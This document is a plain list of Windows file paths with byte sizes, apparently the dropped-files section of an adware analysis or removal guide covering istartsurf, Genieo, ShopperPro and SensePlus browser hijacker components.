C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.7 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.4 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.5 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\ajax-bidl[1].htm (550 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoAEF5.tmp (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\uninstall\firsttime_uninstall.exe (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLBCFAD.tmp (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\tr\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\es\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\243.tmp (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\js.js (664 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\en-US\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\modules\last_tab.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\474.json (512 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\defaults\preferences\fvd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\213.tmp (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\skin\simple.css (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\scrollbar.bmp (37 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\modules\remoterequest.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\fr\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\Z (42 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\modules\addonmanager.js (531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\skin\icon.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\modules\properties.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\module\search.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\en\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\module\stat.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\modules\settings.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\263.tmp (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\modules\misc.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\pack\ga.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\uninstallDlg2.xml (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\quick_start.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\include\speed_dial.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\skin\googlelogo.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\index.html (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (478 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\pack\common.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\ru\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg.png (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\skin\default_logo.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome.manifest (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\pl\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\quick_start.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\1F3.tmp (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\HomePage.dat (132 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\modules\aes.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\es-419\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\modules\restoreprefs.js (1 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\skin\newtab.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\it\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\skin\google_trends.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe (14022 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\Thumbs.db (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\z[1].htm (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
%Program Files% (x86)\Mozilla Firefox\browser\searchplugins\istartsurf.xml (553 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\skin\loading.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\defaults\preferences\preferences.js (379 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\Thumbs.db (27 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\locale\vi\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\content\include\tools\misc.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1431730962_xpi\chrome\skin\style.css (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\z[1].htm (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\SMALLTEST[1].htm (70 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EJ9J29NOWNXRXLW1D1HN.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VE4FDKG1GDE6H00GY5TQ.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\INIK13FXHR9M4QI9ZSCX.temp (196 bytes)
%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd21.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd21.tmp\nsProcess.dll (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd21.tmp\nsExec.dll (14 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd21.tmp\jsdrv.exe (100669 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd21.tmp\AccDownload.dll (11659 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (37025 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (15536 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (48241 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd21.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn10.tmp (358834 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (18424 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.ej (14 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy7993.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy7993.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy7993.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\mj (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy7993.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy7993.tmp\WmiInspector.dll (3137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy7993.tmp\NSISEncrypt.dll (3323 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy7993.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy7993.tmp\UserInfo.dll (8 bytes)
%Program Files% (x86)\SensePlus\9fdb4d8e-217e-49e0-bad3-9a6b945e3f76-4.exe (9654 bytes)
%Program Files% (x86)\SensePlus\9fdb4d8e-217e-49e0-bad3-9a6b945e3f76-5.exe (7971 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\ssrlncfjy.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\284450 (3429 bytes)
C:\Windows\Tasks\9fdb4d8e-217e-49e0-bad3-9a6b945e3f76-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\wdyvlmgk.dll (8 bytes)
%Program Files% (x86)\SensePlus\utils.exe (70317 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\eerrav.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\ffkzn.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\System.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\9fdb4d8e-217e-49e0-bad3-9a6b945e3f76-4.dll (46916 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\eodefhbq.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\xehbx.dll (3730 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\hmnlq.dll (31245 bytes)
%Program Files% (x86)\SensePlus\Uninstall.exe (601 bytes)
C:\Windows\Tasks\9fdb4d8e-217e-49e0-bad3-9a6b945e3f76-5_user.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\zejghs.dll (30 bytes)
%Program Files% (x86)\SensePlus\9fdb4d8e-217e-49e0-bad3-9a6b945e3f76.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3238.tmp\74763 (97678 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3228.tmp (556977 bytes)
%Program Files% (x86)\XTab\HPNotify.exe (675 bytes)
C:\ProgramData\ShopperPro\config.json (487 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1254 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.1.1835\config.json (767 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (487 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.1.1835\jsdrv.exe (22786 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.1.1835\jsdrv.sys (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
C:\ProgramData\ShopperPro\database1_0_0.ej (14 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3361 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.1.1835\database1_0_0.ej (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\cmd_close.gif (840 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\js\partnerConfig.js (937 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\2_collecting.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\1_downloading.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\js\partnerConfig.js (937 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_disabled_nav_prev.png (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\icon-16-disabled.png (646 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\sensor-enable.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\down1.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\collapse.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_enabled_nav_next.png (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\uninstall\gim394750002\genuninstallui.exe (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\uninstall\genuninstallui.exe (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\text\LicenseAgreement.txt (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\down1.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\tray_awaitingMessage.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\conf\partner.properties (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\firefox-bar-24.png (727 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\install_icon.ico (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\down2.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\complete.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\notification_rgn_image.bmp (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\prep_env_err.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\disable-transition-2.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\text\text.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\GenericApp.icns (4992 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\icon-16-enabled.png (537 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\prep_env.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\down3.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\desktop.ico (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\enabled_nav_next.gif (847 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\css\partner.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\disabled_nav_prev.gif (853 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\tray_normal.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_enabled_nav_prev.gif (853 bytes)
